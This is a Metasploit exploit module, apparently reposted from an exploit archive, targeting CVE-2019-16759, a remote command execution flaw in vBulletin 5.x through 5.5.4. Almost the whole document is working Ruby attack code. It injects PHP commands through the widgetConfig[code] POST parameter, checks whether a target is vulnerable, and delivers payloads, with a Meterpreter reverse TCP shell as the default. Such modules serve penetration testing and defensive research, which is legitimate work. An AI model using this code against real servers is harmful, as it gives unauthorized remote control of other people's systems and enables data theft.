vBulletin 5.5.4 Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'vBulletin widgetConfig RCE',  
'Description' => %q{  
vBulletin 5.x through 5.5.4 allows remote command execution via the widgetConfig[code]  
parameter in an ajax/render/widget_php routestring POST request.  
},  
'Author' => [  
'unknown', # discovered by an unknown sender.  
'mekhalleh (RAMELLA Sébastien)' # this module.  
],  
'References' => [  
['CVE', '2019-16759'],  
['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'],  
['URL', 'https://blog.sucuri.net/2019/09/zero-day-rce-in-vbulletin-v5-0-0-v5-5-4.html']  
],  
'DisclosureDate' => '2019-09-23',  
'License' => MSF_LICENSE,  
'Platform' => ['php', 'unix', 'windows'],  
'Arch' => [ARCH_CMD, ARCH_PHP],  
'Privileged' => true,  
'Targets' => [  
['Meterpreter (PHP In-Memory)',  
'Platform' => 'php',  
'Arch' => [ARCH_PHP],  
'Type' => :php_memory,  
'Payload' => {  
'BadChars' => "\x22",  
},  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp',  
'DisablePayloadHandler' => 'false'  
}  
],  
['Unix (CMD In-Memory)',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/generic',  
'DisablePayloadHandler' => 'true'  
}  
],  
['Windows (CMD In-Memory)',  
'Platform' => 'windows',  
'Arch' => ARCH_CMD,  
'Type' => :windows_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/generic',  
'DisablePayloadHandler' => 'true'  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
))  
  
register_options([  
OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']),  
OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']])  
])  
  
register_advanced_options([  
OptBool.new('ForceExploit', [false, 'Override check result', false])  
])  
end  
  
def cmd_payload(command)  
return("echo #{datastore['PHP_CMD']}('#{command}'); exit;")  
end  
  
def execute_command(command)  
response = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'encode_params' => true,  
'vars_post' => {  
'routestring' => 'ajax/render/widget_php',  
'widgetConfig[code]' => command  
}  
})  
if (response) && (response.body)  
return response  
end  
  
return false  
end  
  
def check  
rand_str = Rex::Text.rand_text_alpha(8)  
received = execute_command(cmd_payload("echo #{rand_str}"))  
if received && received.body.include?(rand_str)  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
unless check.eql? Exploit::CheckCode::Vulnerable  
unless datastore['ForceExploit']  
fail_with(Failure::NotVulnerable, 'The target is not exploitable.')  
end  
end  
vprint_good("The target appears to be vulnerable.")  
  
print_status("Sending #{datastore['PAYLOAD']} command payload")  
case target['Type']  
when :unix_cmd, :windows_cmd  
cmd = cmd_payload(payload.encoded)  
vprint_status("Generated command payload: #{cmd}")  
  
received = execute_command(cmd)  
if (received) && (datastore['PAYLOAD'] == "cmd/#{target['Platform']}/generic")  
print_warning('Dumping command output in body response')  
if received.body.empty?  
print_error('Empty response, no command output')  
return  
end  
print_line("#{received.body}")  
end  
  
when :php_memory  
vprint_status("Generated command payload: #{payload.encoded}")  
execute_command(payload.encoded)  
end  
end  
end  
`